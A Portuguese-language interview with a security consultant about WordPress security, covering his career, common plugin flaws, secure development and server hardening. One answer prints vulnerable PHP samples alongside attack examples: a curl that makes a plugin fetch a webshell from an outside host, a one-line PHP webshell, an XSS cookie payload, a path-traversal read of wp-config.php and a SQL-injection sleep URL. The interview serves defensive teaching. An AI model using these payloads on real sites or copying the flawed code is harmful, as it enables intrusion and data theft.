Os atributos para Resource Hints no WordPress 4.7
A partir da versão 4.7 do WordPress é possível utilizar os Atributos para Resource Hints e se dar bem com a performance do site. Você utiliza?
A iniciativa WordPress Seguro inicia uma série de entrevistas com profissionais competentes e renomados de segurança para conversarmos sobre WordPress e Segurança.
Roberto Soares, Consultor Sênior de Segurança da Informação da EY
Roberto Soares, nosso entrevistado de hoje, é Consultor Sênior de Segurança da Informação da EY. Roberto, muito obrigado pelo seu tempo e disponibilidade em compartilhar conhecimento conosco e contribuir para uma maior segurança para WordPress.
1. Qual seu histórico como profissional? E como você entrou nessa área de segurança?
Iniciei minha carreira em um pequeno provedor de internet a rádio, onde eu desempenhava a função de instalador de antenas para internet via rádio em residências e comércios. Ali foi meu primeiro contato com computadores e a paixão só aumentou. Posteriormente trabalhei com montagem e manutenção de computadores e iniciei a faculdade de Redes de Computadores.
Um pouco antes, tive o primeiro contato com o mundo de segurança da informação através da leitura dos livros do Kevin Mitnick e comecei a estudar e aprender as famosas “receitas de bolo” que havia na internet. Consegui um trabalho como administrador de redes em um CPD de uma indústria têxtil e a partir dali, pude colocar em prática muita coisa que já havia aprendido e evoluído.
Desde então, trabalho com segurança ofensiva a mais de oito anos, entrando recentemente no time de segurança de uma grande empresa multinacional.
2. O WordPress é seguro. Concorda?
Sim. Com o passar dos anos, o WordPress popularizou-se e agora conta com uma metodologia madura de desenvolvimento, através de funções específicas para manipulação de banco de dados, sistemas de arquivos e afins. O core do WordPress é bem definido e constantemente passa por melhorias para deixá-lo cada vez mais seguro.
3. Por que alguns profissionais de segurança o julgam como inseguro?
Por não conhecerem profundamente a documentação existente sobre o WordPress e também pelo mesmo ser flexível ao ponto de permitir que o desenvolvedor crie seus próprios métodos de desenvolvimento.
Outro ponto é a quantidade massiva de exploits reportados quase que diariamente na internet, explorando seus plugins e temas. Isso dá aquela impressão que é um software mal concebido e construído sem nenhuma base. O que não é verdade. O core do WordPress é bem definido e seguro, esporadicamente é encontrado algum tipo de vulnerabilidade. O fato de ser um CMS altamente conhecido no mercado e como muita visibilidade faz com que os atacantes intensifiquem suas pesquisas em busca do desenvolvimento de novos exploits. Sem generalizar, mas o grande vilão é o “desenvolvedor de garagem”, que cria as vulnerabilidades e insere em seus plugins e temas sem nenhum tipo de metodologia que vise a segurança de sua aplicação.
4. Você faz uso de alguma ferramenta para análise e proteção de sites? Por exemplo WP Scan.
Sim. Em meu trabalho como “Penetration Tester”, quando identificado que o CMS WordPress está em uso, um dos passos é utilizar o WPScan para identificar os possíveis plugins e temas desatualizados, para que possam fornecer um vetor de exploração, proporcionando a leitura de arquivos sensíveis no servidor (exemplo, wp-config.php), o upload de Webshell (programa malicioso desenvolvido em linguagem web e que tem como objetivo executar comandos no servidor afetado remotamente), permitindo o controle do servidor.
Quando detectado a vulnerabilidade, verificamos se existe algum exploit conhecido e público na internet. Devido ao contato diário com o WordPress, criei um repositório no GitHub, onde realizo a criação e adaptação de exploits para o WordPress chamado WPSploit que deve ser utilizado juntamente com o Metasploit, um software que poderá auxiliar na demonstração de uma exploração real de plugins e temas do WordPress, deixando claro as possibilidades na visão de um atacante.
5. Quais os tipos de ataques mais comuns em relação ao WordPress e como se proteger?
O problema principal é quando os programadores desenvolvem plugins e temas, sem nenhum tipo de metodologia de desenvolvimento seguro, inserindo suas próprias funções e métodos, criando brechas e permitindo que atacantes ganhem acesso privilegiado a informações sensíveis de empresas ou mesmo utilizando o WordPress como pivô para realizar posteriores ataques a rede interna.
Criando suas próprias funções e métodos, sem utilizar o que é recomendado pela documentação do WordPress, o desenvolvedor assume diversos riscos para a sua aplicação.
A seguir, destaco cinco tipos comuns de vulnerabilidades que são detectados na realização da revisão de código em busca de vulnerabilidades no core, plugins e temas do WordPress, são elas:
1 – Vulnerabilidade no Mecanismo de Upload:
Diversos programadores constroem seus próprios mecanismos de upload sem a correta validação, criando brechas para que atacantes consigam realizar o upload de webshells e manipular toda a infraestrutura do servidor, podendo criar e/ou deletar arquivos, distribuir malwares, indisponibilizar serviços essenciais, entre outros.
Exemplo simples de código vulnerável:
$upload_dir = wp_upload_dir();
$path = $upload_dir['path'];
$new_filename = $suggested_name_filesystem . "_" . random_filename() . substr($url,strrpos($url,"."));
// If we are not in test mode, get the file and resize it
if ($test_mode === FALSE)
{
$image_data = file_get_contents($url);
file_put_contents($path . "/" . $new_filename,$image_data);
resize($path . "/" . $new_filename, $new_height, $new_width, $val_maxwidth, $path . "/" . $new_filename);
}
$new_url = $upload_dir['url'] . "/" . $new_filename;
...cortado...
if ($test_mode === FALSE)
{
echo "Uploaded as " . $new_url;
}
No exemplo acima, o arquivo não valida se o usuário é autorizado para fazer o upload de arquivos, criando um arquivo com nome randômico e apresentando o nome do mesmo de volta para o usuário.
Isso proporciona ao atacante realizar o upload de qualquer arquivo executável ou outro arquivo com conteúdo malicioso.
$ curl 'http://localhost/wp-content/plugins/some-vulnerable-plugin/uploader.php?confirm=url&url=http://192.168.1.10/shell.php'
No conteúdo do arquivo “shell.php”, o atacante poderia simplesmente usar o seguinte código:
<?php system($_GET['cmd']); ?>
Proporcionando a entrada de comandos arbitrários para serem executados diretamente como parâmetros na URL:
http://www.seuwebsite.com/uploaddir/shell.php?cmd=ls%20-l
Algumas medidas a serem tomadas é assumir que toda entrada de dados de usuários pode ser maliciosa. Utilize whitelist para aceitar estritamente entradas conhecidas de dados e/ou conforme as reais necessidades, rejeitando todo o restante.
Mais detalhes e recomendações sobre a vulnerabilidade.
2 – Vulnerabilidade de Cross-Site Scripting (XSS):
Esta é a vulnerabilidade com o maior número de ocorrências encontrados nos plugins e temas do WordPress, assim como em seu core. O que ocorre é a falta de validação e tratamento dos dados fornecidos pelo usuário, possibilitando resultados inesperados na aplicação.
Exemplo simples de código vulnerável:
...cortado...
function new_feature_button() {
global $new_feature_settings;
return '' . $new_feature_settings['feature_login_button'])
function new_feature_other() {
...cortado...
Como você pode ver a função não trata as tags HTML ou outros símbolos perigosos. Quando um atacante injeta código javascript na URL, a função executa o código:
...cortado...
If(!window.feature_added) {
socialLogins.prepend('<a href=\"http://localhost/wp-login.php?loginFeature=1&redirect=</script><script>alert(document.cookie)</script></form></div></body></html>
…cortado…
E é mostrada uma janela de alerta para o usuário.
Uma das recomendações, é utilizar o guia do próprio WordPress para validar e tratar as entradas dos usuários.
Mais detalhes e recomendações sobre Cross-Site Scripting (XSS).
3 – Vulnerabilidade de Download de Arquivos:
Outra falha comum no WordPress é a falta de restrição da leitura de arquivos essenciais do sistema:
Exemplo simples de código vulnerável:
<?php
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=". $_GET['name']);
$path = urldecode($_GET['path']);
if(isset($path))readfile($path);
?>
O problema aqui ocorre devido à falta de tratamento nos parâmetros de URI fornecidos pelo usuário. Um atacante conseguiria facilmente efetuar o download e/ou ler arquivos arbitrários com os privilégios do servidor WEB. Exemplo:
$ curl 'http://127.0.0.1/wp-content/plugins/some-plugin/plugins/content/downloader.php?name=wp-config.php&path=../../../../../wp-config.php'
O guia do WorPress faz uma citação sobre o assunto.
Mais detalhes e recomendações sobre a vulnerabilidade.
4 – Vulnerabilidade de Cross-Request-Forgery (CSRF)
Cross-site Request Forgery (CSRF) é um tipo de ataque que explora a relação de confiança do browser do usuário a um site. A exploração se dá quando o atacante consegue induzir um usuário autenticado a realizar requisições para a aplicação.
Segundo o guia de referência do WordPress, o nonce é utilizado para validar se as requisições foram disparadas através de um formulário legítimo do site.
Mais detalhes e recomendações sobre a vulnerabilidade.
5 – Vulnerabilidade de Injeção de SQL (SQL Injection)
Injeção de SQL é um tipo de ataque em que o atacante injeta um código “Structured Query Language” (SQL) em um campo Web de entrada de dados para obter acesso a recursos ou fazer alterações nos dados.
Um atacante pode utilizar estes campos para enviar sua própria requisição ao banco de dados, o que poderia permitir fazer o download de todo o banco de dados ou interagir com ele de outras formas.
Exemplo simples de código vulnerável:
...cortado...
$wpdb->query("
SELECT `meta_key`, `meta_value`
FROM $wpdb->postmeta
WHERE `post_id` = ".$_GET['post']."
");
...cortado...
Com a requisição abaixo, poderíamos fazer com que o servidor execute a consulta através de um SELECT e retorne após 10 segundos (sleep(10)).
http://dominio/wp-admin/post.php?post=206 AND (SELECT * FROM (SELECT(SLEEP(10)))sTlK)&action=edit&....
Mais detalhes e recomendações sobre a vulnerabilidade.
PS: Todas as sugestões aqui apresentadas deveram ser analisadas especificamente em sua aplicação, podendo variar a correção em alguns casos.
6. Você sugere um processo de segurança para o lançamento e manutenção de sites?
Sim. A metodologia de desenvolvimento “Secure SDLC (SSDLC)” é o suficiente para eliminar a grande maioria dos problemas futuros. O ciclo de desenvolvimento seguro de software é basicamente uma série de etapas, que fornecem um modelo para o desenvolvimento e gerenciamento do ciclo de vida de uma aplicação. A metodologia normalmente contém as seguintes fases: Análise (requisitos e design), construção, testes, lançamento e manutenção. SSDLC começa com a análise e definição das fases, em que a finalidade do software ou sistema deve ser determinada, os objetivos que ele precisa para atender todas as necessidades estabelecidas e um conjunto de requisitos definidos pode ser desenvolvido.
Durante a etapa de desenvolvimento o software é criado visando atender a todos os requisitos estabelecidos na fase anterior.
A próxima etapa do ciclo de vida de desenvolvimento é a fase de testes. O código produzido durante a construção deve ser testado usando a análise estática e dinâmica, bem como testes de intrusão manual para garantir que a aplicação não é facilmente explorável, o que poderia resultar em uma falha crítica de segurança. Uma vez que o software cumpra todos os requisitos, ele pode ser implementado em um ambiente beta para testar a usabilidade no mundo real e depois lançado para uma versão completa onde entra a fase de manutenção. A fase de manutenção permite que a aplicação seja ajustada para as possíveis mudanças organizacionais, sistêmicas e/ou de utilização.
7. Como está o mercado de segurança para novos profissionais?
A área de segurança da informação cresce exponencialmente. A cada dia que passa, as empresas vão adquirindo consciência de que ter uma pessoa ou até mesmo uma equipe de segurança da informação não é mais um luxo ou despesa, e sim uma exigência de mercado para continuar sobrevivendo a esse mundo hostil que é a internet. Uma simples busca no Linkedin retornará uma lista enorme de vagas em aberto na área em perfis variados, indo de estagiários a CSO (Chief Security Officer).
8. Qual a dica que você daria para quem está interessado em ingressar na area e assim dar os primeiros passos?
Como em toda área, o melhor conselho é estudar muito. Tentar ser referência em determinado assunto, concluir sua faculdade, falar bem e ler em inglês são essenciais.
Uma vez escutei um recrutador de uma grande empresa de tecnologia falar que é mais fácil ensinar um conteúdo técnico do que uma nova língua, então fica a dica.
Existem diversos treinamentos gratuitos e excelentes sobre segurança da informação. Recomendo alguns da Coursera, como o treinamento de CyberSecurity.
Dois livros também são extremamente recomendados:
- Web Application Hacker’s Handbook, Segunda Edição.
- Hacking – The Art of Exploitation, Segunda Edição.
Um simples trecho de código na linguagem Ruby:
while life wakeup; eating; coding; update; sleeping; if isAweekend? socialLife; end end
O código acima diz que enquanto se tenha vida: acorde, coma, programe, atualize-se, durma e se for final de semana, curta sua vida social.
É engraçado, mas é quase a realidade, pois a área de segurança da informação é muito dinâmica. Todos os dias, novas vulnerabilidades, exploits, patches de correção, técnicas, ferramentas etc, são lançadas, então, estar atento é primordial para a saúde dos seus clientes e para seus argumentos quando questionado por alguém.
9. Quais profissionais, além de você, e/ou empresas seguir para ficar por dentro?
Uma empresa 100% brasileira e que trabalha fortemente na revisão de código e desenvolvimento seguro englobando o WordPress é a Conviso Application Security, altamente especializada no assunto. Outra empresa bem conhecida é a Sucuri, também especialista em WP. Existem muitos profissionais excelentes e com conhecimento profundo em WP, mas destaco apenas alguns pra não ficar uma lista extensa:
- Me – Roberto Espreto @espreto
- Erick Tedeschi @ericktedeschi
- Wagner Elias @welias
- Daniel Cid @danielcid
- Rodrigo Escobar @ipaxdc
- Ryan Dewhurst @ethicalhack3r
- Christian Mehlmauer @_FireFart_
- Gabriel Quadros @gqsilva
- Maycon Vitali @mayconmaia
- Ricardo Silva @rick2600
- Ulisses Castro @usscastro
- Icarro Torres @IcaroTorres
- WPScan @_wpscan_
10. Disponibilizamos um Guia Prático de implementações de segurança para WordPress atualizado com frequência com novas sugestões. Qual a sua para manter uma instalação de WordPress segura?
Além de toda a preocupação com o desenvolvimento de novas features para o WordPress citado nas questões acima, um conjunto de medidas adicionais devem ser tomadas para fortalecer e diminuir a superfície de ataque, ou seja, criar camadas de segurança para que se eventualmente o atacante consiga explorar alguma vulnerabilidade, o mesmo fique com o mínimo de privilégios para prosseguir com seu ataque, minimizando suas ações.
Podemos considerar quatro pontos relevantes para o aumento dessa proteção, como:
O hardening do sistema operacional
O hardening consiste em desabilitar e/ou remover todos os softwares, serviços, arquivos, etc, desnecessários presentes em uma instalação padrão do sistema operacional, como exemplo, o utilitário wget e/ou curl possibilitaria o download de exploits, compiladores como o gcc, cc etc, possibilitariam a compilação dos exploits, utilizar softwares como o audit proporcionaria identificar as ações executadas pelo atacante no sistema, entre outras ações.
O hardening do serviço WEB;
O serviço do Apache, NGINX, IIS, entre outros, também possuem seus arquivos de configuração com opções que devem ser melhoradas para fortalecer o ambiente. Desabilitar módulos que não será utilizado, remover o banner de versão do serviço (isso proporcionaria ao atacante a visão exata da versão do serviço que está em execução, assim, o mesmo poderia procurar por exploits já existentes e lançar contra a aplicação), desabilitar a listagem de diretórios, executar o serviço com usuário restrito, usar um firewall de aplicação (mod_security, por exemplo), o uso de criptografia, entre várias outras medidas que deveram ser estudas e aplicadas em cada necessidade.
O hardening do PHP;
Assim como o serviço web, o PHP necessita de configurações extras para se fortalecer. Desabilitar módulos desnecessários, evitar funções perigosas (como exemplo: exec, passthru, shell_exec, system, eval, popen, entre várias outras), manter atualizado, entre outras ações.
O hardening do serviço de banco de dados;
O serviço do banco de dados também deve ser levado em consideração, visto que ataques como SQL Injection, fornece ao atacante acesso direto a base de dados, podendo criar, modificar e/ou deletar arquivos, dados etc. Desabilitar e/ou restringir o acesso remoto ao banco de dados, criptografar a comunicação de rede (principalmente nos casos que o servidor de aplicação e o servidor de banco de dados são máquinas distintas), limitar o acesso a contas privilegiadas, desativar e/ou remover contas padrão de instalação entre outras ações.
Mais detalhes podem ser visto nos links abaixo:
https://owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
11. Se sentir à vontade e julgar relevante, por favor, informe seus dados de contato.
Dúvidas, sugestões, críticas, feedbacks entre outros é extremamente apreciado.
As respostas do entrevistado, Roberto Soares, não reflete a opinião da empresa onde trabalha e sim sua visão pessoal sobre o assunto.
